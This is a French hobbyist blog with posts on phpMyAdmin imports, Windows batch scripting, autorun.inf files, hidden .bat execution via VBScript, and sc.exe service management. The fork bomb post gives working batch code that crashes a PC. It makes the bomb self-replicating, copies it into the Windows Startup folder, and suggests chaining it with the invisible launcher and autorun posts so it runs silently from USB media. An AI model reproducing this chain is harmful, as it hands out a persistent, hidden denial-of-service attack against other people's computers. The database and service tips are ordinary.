Flux RSS

mardi 17 mai 2011

Uploader un dump MySQL volumineux sur phpMyAdmin

Quand on veut importer une grande requête SQL dans phpMyAdmin, il peut arriver que l'on soit confronté aux limites liées à la taille du fichier uploadé (généralement de 2 Mo).


Pour contourner cette limitation, vous pouvez utiliser le dossier UploadDir de phpMyadmin. (Si un dossier "upload" existe déjà dans votre dossier phpMyAdmin, allez directement à l'étape 3)


  1. Créez un dossier upload dans votre dossier phpMyAdmin.
  2. Ouvrez le fichier de configuration de phpMyadmin config.inc.php, vers la fin de ce fichier vous devrez trouver la variable de configuration $cfg['UploadDir'], et renseignez lee chemin vers votre dossier upload :  $cfg['UploadDir'] = './upload';
  3. Placez vos fichiers SQL dans le dossier upload
  4. Quand vous allez dans l'interface de phpMyAdmin, dans Importer, vous devrez devoir apparaitre une liste déroulante avec la liste de vos fichiers SQL, et vous pourrez donc effectuer votre importation sans problème.

Si votre fichier est vraiment trop lourd, il se peut que vous soyez obligé d'augmenter la valeur de la variable de configuration max_execution_time de php dans le php.ini de votre serveur.

jeudi 18 février 2010

Créer une forkbomb en commande dos (.bat)

Une forkbomb consiste à saturer les ressources d'un système en créant rapidement un grand nombre de processus.
En gros, c'est un truc de méchant pas bien, mais c'est toujours marrant de voir qu'on peut totalement perdre le contrôle d'un PC avec trois pauvres lignes de commande.

Dans un fichier .bat :
:a
start mspaint.exe
goto a
En gros, on créé un label, on démarre paint, on retourne au label, on démarre paint, etc...

Pour l'améliorer, on peut l'exécuter elle même, ce qui aura pour effet de démultiplier de façon exponentielle le nombre d'opérations :
:a
start ForkBomb.bat
start mspaint.exe
goto a

Mais le must reste quand même de rajouter la forkbomb au Démarrage de Windows :
:a
start ForkBomb.bat
start mspaint.exe
COPY ForkBomb.bat "%SYSTEMDRIVE%%HOMEPATH%\Menu Demarrer\Programmes\Demarrage\ForkBomb.bat"
goto a

Si vous êtes assez rapide, il y a un moyen de combattre la forkbomb :
taskkill /F /IM cmd.exe
taskkill /F /IM mspaint.exe

Vous pouvez utiliser mon article sur le BatchLauncher pour créer une forkbomb invisible, et celui sur l'autorun pour lancer la fork automatiquement.

Pour plus d'informations : http://fr.wikipedia.org/wiki/Fork_bomb

Créer un fichier autorun (pour clé usb, cd, dvd, etc..)

Vous pouvez créer vous-même un fichier d'exécution automatique pour vos périphérique de stockage amovible.
Pour cela il suffit de créer à la racine un fichier autorun.inf.

Voici un exemple de fichier autorun assez poussé :[autorun]
icon = dossier\icône.jpg ;Icone de votre clé usb

open = dossier\Ouvrir.bat ;Commande principale qui sera lancer lors de l'éxecution automatique
action = Ouvrir ;Nom de la commande

; Définir la structure du menu contextuel
shell = ouvrir ;Définit l'action ouvrir par défaut
shell\ouvrir\command = dossier\Ouvrir.bat ;Fichier à executer pour la commande ouvrir
shell\ouvrir = Ouvrir ;Label de la commande ouvrir
shell\test\command = dossier\Test.bat ;Fichier à executer pour la commande test
shell\test = Test ;Label de la commande test

Vous pouvez définir ce fichier comme étant caché, ça fera toujours plus propre.

Lancer des .bat sans afficher la fenêtre de commande

Dans le cadre de mes péripéties de hacker du dimanche, j'avais besoin d'exécuter un fichier .bat (fichier de commandes msdos) sans que la fenêtre de commande s'affiche à l'écran.
Pour ce faire j'ai créé un script en VBScript (du VB orienté scripting en quelque sorte) qui me permet d'exécuter mes .bat de manière silencieuse.
Pour exécuter du VBScript, il faut que Windows Script Host soit installé sur la machine.


Voici le fameux fichier BatchLauncher.vbs :

' On créer les objets nécessaires
Set oArgs = WScript.Arguments
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oShell = CreateObject("WScript.Shell")

sFilePath = oArgs(0) ' On recupere le chemin du .bat passé en paramètre
iRC = oShell.Run("""" & sFilePath & """", 0, True) ' On éxecute le .bat (protégé par des guillemets), le 0 permet de masquer la fenêtre, et True permet d'attendre la fin de l'execution du bat avant de poursuivre

Wscript.Quit iRC
(La gestion d'erreurs à été volontairement retirée pour alléger le code)


Pour utiliser ce script il suffit de taper :
wscript.exe "CheminVersVotreVBS\BatchLauncher.vbs" "CheminVersVotreBAT\test.bat"
Et votre bat s'exécutera de manière invisible grâce au script vbs.

mardi 16 février 2010

Gérer les services Windows avec sc.exe

Un service Windows est un programme qui s'éxecute continuellement en arrière-plan, sans nécessiter l'intervention de l'utilisateur. Il n'est pas visible dans la liste des processus.

Windows intègre un moyen de gérer ces services, c'est l'outil sc.exe. Il permet entre autres, d'ajouter, de supprimer, de démarrer et de stopper des services.
(pour la liste complète des commandes disponibles : sc help
Pour créer un service :
sc create NomDuService binpath= "C:\MonService.exe" (l'espace entre le = et le " est obligatoire!)

Pour démarrer un service :
sc start NomDuService
Pour stopper un service :
sc stop NomDuService
Pour supprimer un service :
sc delete NomDuService
(Parfois la suppression ne s'effectue pas immédiatement, il faudra redémarrer l'ordinateur pour que la supression soit effective)

Si votre service affiche une des erreurs suivante :
[SC] StartService FAILED 193:

Impossible de démarrer le service {nom du service} sur Ordinateur local. Erreur 193 : 0xc1

C'est que son ImagePath est mal surement renseigné. Pour corriger ce problème, il faut ourir l'Editeur de Registre (regedit.exe) et changer la clé suivante:

HKEY_LOCAL_MACHINE > SYSTEM > CurrentControlSet > Services > NomDuService > ImagePath

Il suffit d'entourer le chemin de guillemets ("") et désormais le service devrait démarrer.